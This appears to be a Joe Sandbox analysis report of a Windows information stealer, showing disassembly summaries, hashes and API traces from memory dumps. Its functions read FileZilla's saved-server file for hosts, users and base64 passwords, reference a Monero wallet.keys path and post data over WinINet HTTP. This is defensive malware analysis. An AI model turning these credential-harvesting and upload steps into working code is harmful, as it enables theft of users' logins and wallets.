Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: XP~
API String ID: 0-3485761663
Opcode ID: 9a186b63f3bdea21796f17520f6660c2391a5f99676b62d0603e7501f8d521c4
Instruction ID: 47a5f17281d0807ed84d1504298f5cce40ecc71ea01de4e131ecf5f7117fcfeb
Opcode Fuzzy Hash: 9a186b63f3bdea21796f17520f6660c2391a5f99676b62d0603e7501f8d521c4
Instruction Fuzzy Hash: 917117F3E083045BE3049E3DDD8536AB7D6DBD4310F2B823D9B8887789E97A5C098685

Function 00A3A8E0 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

VBB, xrefs: 00A3A945

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: VBB
API String ID: 0-4113321273
Opcode ID: cf942596a124dac04351a1aabefedce5cf946e1c685a582e895cf96770a9db82
Instruction ID: ff955c27a46fec33d1e8a4ba0a43ba81bd038704202fe0775f55f5977fb7e205
Opcode Fuzzy Hash: cf942596a124dac04351a1aabefedce5cf946e1c685a582e895cf96770a9db82
Instruction Fuzzy Hash: AB4139F3B082145BF308AA2DEC557BBBBD5DB94360F1B463CEA88D7784D93998014386

Function 00AE9F94 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

0[C{, xrefs: 00AEA111

Memory Dump Source

Source File: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0[C{
API String ID: 0-2902807198
Opcode ID: ce47189d2a1ccef21ea35e7c343d159db75cfc93ca2544f3f2099679bf7b72cc
Instruction ID: 715100454a24b047ce41a42f6e2f1cfe77ca2dfe62efe7e02f984d38730c3179
Opcode Fuzzy Hash: ce47189d2a1ccef21ea35e7c343d159db75cfc93ca2544f3f2099679bf7b72cc
Instruction Fuzzy Hash: AC3147B390C245EFD3086D669C1557BB6F8EB24351F32093EE983D7780EE65680562D3

Function 00A255B1 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5acf425412999e554055eabb340e634563c85d4da272c1bfabff6f3307d8d2ff
Instruction ID: 592be38e8b348fa7153ac93fcfe0ad57f56fcddb2b1bd9928a92fa3fd9a03d5e
Opcode Fuzzy Hash: 5acf425412999e554055eabb340e634563c85d4da272c1bfabff6f3307d8d2ff
Instruction Fuzzy Hash: 158113F3E042205BE3146A2DEC4576ABBD6DBD0320F1B463DDEC8A3784E9795C0982D6

Function 009419F9 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa2a236cc31ab9dbc0b0b895175969d1fb49bc66b59f70ace26b9c5665299077
Instruction ID: 5cf582062bfa6a4c601720d103a7f5b567d9eed427a9ecc7623675f4df8bb2f6
Opcode Fuzzy Hash: fa2a236cc31ab9dbc0b0b895175969d1fb49bc66b59f70ace26b9c5665299077
Instruction Fuzzy Hash: C971B1F3A087149FE704AF29D84572AFBE6EF94360F16893DDAC447384EA351845CB86

Function 00A83212 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 713bd3bd29772426eb59746cf35aa1a87d6192988762e0d9666044fe856bff1e
Instruction ID: d13ac1d14bdb35ed925552d7adcd93a5b3223a7d173553a6a7b63f2905330963
Opcode Fuzzy Hash: 713bd3bd29772426eb59746cf35aa1a87d6192988762e0d9666044fe856bff1e
Instruction Fuzzy Hash: 04613DF3E082005BE3046A2DDD9473AB7D6EFD4710F1A453DEA8993784E9795C098693

Function 00A12621 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78680fb6153de89ab9d54c4254266e80c628db5807cf52bdc2f8832ab26492b1
Instruction ID: 0cd94cd52829a748678294b04ec835f794a20ceabfb2dd3d2a426d57d11044ac
Opcode Fuzzy Hash: 78680fb6153de89ab9d54c4254266e80c628db5807cf52bdc2f8832ab26492b1
Instruction Fuzzy Hash: D1511CB3E083105BE3145E39EC8876ABBD5ABD0320F2B463DEAD8577C0E9395D458786

Function 009A9690 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53130a542b49a5bd6672930dc38122193b88f77e89714c2653f34fd50aef9632
Instruction ID: 6530c7107546189cc17c68f7a4d8298bf7e22ee7d0181a73340a0b41b09a8198
Opcode Fuzzy Hash: 53130a542b49a5bd6672930dc38122193b88f77e89714c2653f34fd50aef9632
Instruction Fuzzy Hash: 393137F3A087005FE34CAA5AECD636AB6D7DBD8311F1AC03D9B8987388FD755901419A

Function 006E9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 006E0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006E8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006E8E0B

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006D99EC
Part of subcall function 006D99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006D9A11
Part of subcall function 006D99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006D9A31
Part of subcall function 006D99C0: ReadFile.KERNEL32(000000FF,?,00000000,006D148F,00000000), ref: 006D9A5A
Part of subcall function 006D99C0: LocalFree.KERNEL32(006D148F), ref: 006D9A90
Part of subcall function 006D99C0: CloseHandle.KERNEL32(000000FF), ref: 006D9A9A

Part of subcall function 006E8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006E8E52

GetProcessHeap.KERNEL32(00000000,000F423F,006F0DBA,006F0DB7,006F0DB6,006F0DB3), ref: 006E0362
RtlAllocateHeap.NTDLL(00000000), ref: 006E0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 006E0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006E03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 006E0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 006E0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 006E0562
lstrcat.KERNEL32(?,profile: null), ref: 006E0571
lstrcat.KERNEL32(?,url: ), ref: 006E0580
lstrcat.KERNEL32(?,00000000), ref: 006E0593
lstrcat.KERNEL32(?,006F1678), ref: 006E05A2
lstrcat.KERNEL32(?,00000000), ref: 006E05B5
lstrcat.KERNEL32(?,006F167C), ref: 006E05C4
lstrcat.KERNEL32(?,login: ), ref: 006E05D3
lstrcat.KERNEL32(?,00000000), ref: 006E05E6
lstrcat.KERNEL32(?,006F1688), ref: 006E05F5
lstrcat.KERNEL32(?,password: ), ref: 006E0604
lstrcat.KERNEL32(?,00000000), ref: 006E0617
lstrcat.KERNEL32(?,006F1698), ref: 006E0626
lstrcat.KERNEL32(?,006F169C), ref: 006E0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006F0DB2), ref: 006E068E

Strings

profile: null, xrefs: 006E0568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006E02A4
password: , xrefs: 006E05FB
url: , xrefs: 006E0577
<Pass encoding="base64">, xrefs: 006E045A
<Port>, xrefs: 006E03C6
<User>, xrefs: 006E0410
<Host>, xrefs: 006E037C
browser: FileZilla, xrefs: 006E0559
login: , xrefs: 006E05CA

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 23eafcabbd11c85e5d6c5be48e62e8d71ce661ba7974976237c0e559bdafadd5
Instruction ID: 00a179e28ebaf5d8f51b9abed88753c2c8043c2d01718f0aca11211e21f0e346
Opcode Fuzzy Hash: 23eafcabbd11c85e5d6c5be48e62e8d71ce661ba7974976237c0e559bdafadd5
Instruction Fuzzy Hash: 80D14D75912248ABDB44EBF5DD96EEE733AAF14300F41841CF102A6091EF74BE06DB66

Function 006D5960 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006D4839
Part of subcall function 006D47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006D4849

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006D59F8
StrCmpCA.SHLWAPI(?,00E4EAE8), ref: 006D5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006D5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00E4EA18,00000000,?,00E4A930,00000000,?,006F1A1C), ref: 006D5E71
lstrlen.KERNEL32(00000000), ref: 006D5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 006D5E93
RtlAllocateHeap.NTDLL(00000000), ref: 006D5E9A
lstrlen.KERNEL32(00000000), ref: 006D5EAF
lstrlen.KERNEL32(00000000), ref: 006D5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 006D5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 006D5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 006D5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 006D5F4C
InternetCloseHandle.WININET(00000000), ref: 006D5FB0
InternetCloseHandle.WININET(00000000), ref: 006D5FBD
HttpOpenRequestA.WININET(00000000,00E4E9F8,?,00E4E248,00000000,00000000,00400100,00000000), ref: 006D5BF8

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

InternetCloseHandle.WININET(00000000), ref: 006D5FC7

Strings

------, xrefs: 006D5A96
------, xrefs: 006D5D4C
", xrefs: 006D5CD5
H, xrefs: 006D5BDF
", xrefs: 006D5E16
------, xrefs: 006D5C0B
, xrefs: 006D5A08
8, xrefs: 006D5CAC

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
